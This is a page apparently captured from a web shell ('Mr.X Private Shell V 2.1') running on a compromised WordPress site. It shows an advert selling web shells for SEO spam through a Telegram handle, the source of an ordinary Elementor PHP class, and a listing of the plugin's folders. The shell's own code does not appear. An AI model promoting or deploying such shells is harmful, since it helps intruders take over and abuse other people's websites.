__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\Modules\AtomicWidgets;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Render_Context {
private static $context_stack = [];
public static function push( string $key, array $context ): void {
if ( ! self::get( $key ) ) {
self::$context_stack[ $key ] = [];
}
self::$context_stack[ $key ][] = $context;
}
public static function pop( string $key ): void {
if ( isset( self::$context_stack[ $key ] ) && ! empty( self::$context_stack[ $key ] ) ) {
array_pop( self::$context_stack[ $key ] );
}
}
public static function get( string $key ): array {
if ( ! isset( self::$context_stack[ $key ] ) || empty( self::$context_stack[ $key ] ) ) {
return [];
}
$last_key = array_key_last( self::$context_stack[ $key ] );
return self::$context_stack[ $key ][ $last_key ];
}
public static function clear(): void {
self::$context_stack = [];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| base | Folder | 0775 |
|
|
| cache-validity | Folder | 0775 |
|
|
| controls | Folder | 0775 |
|
|
| database | Folder | 0775 |
|
|
| dynamic-tags | Folder | 0775 |
|
|
| elements | Folder | 0775 |
|
|
| import-export | Folder | 0775 |
|
|
| library | Folder | 0775 |
|
|
| loader | Folder | 0775 |
|
|
| opt-in | Folder | 0775 |
|
|
| parsers | Folder | 0775 |
|
|
| prop-dependencies | Folder | 0775 |
|
|
| prop-types | Folder | 0775 |
|
|
| props-resolver | Folder | 0775 |
|
|
| query | Folder | 0775 |
|
|
| styles | Folder | 0775 |
|
|
| template-renderer | Folder | 0775 |
|
|
| utils | Folder | 0775 |
|
|
| module.php | File | 20.56 KB | 0664 |
|
| render-context.php | File | 927 B | 0664 |
|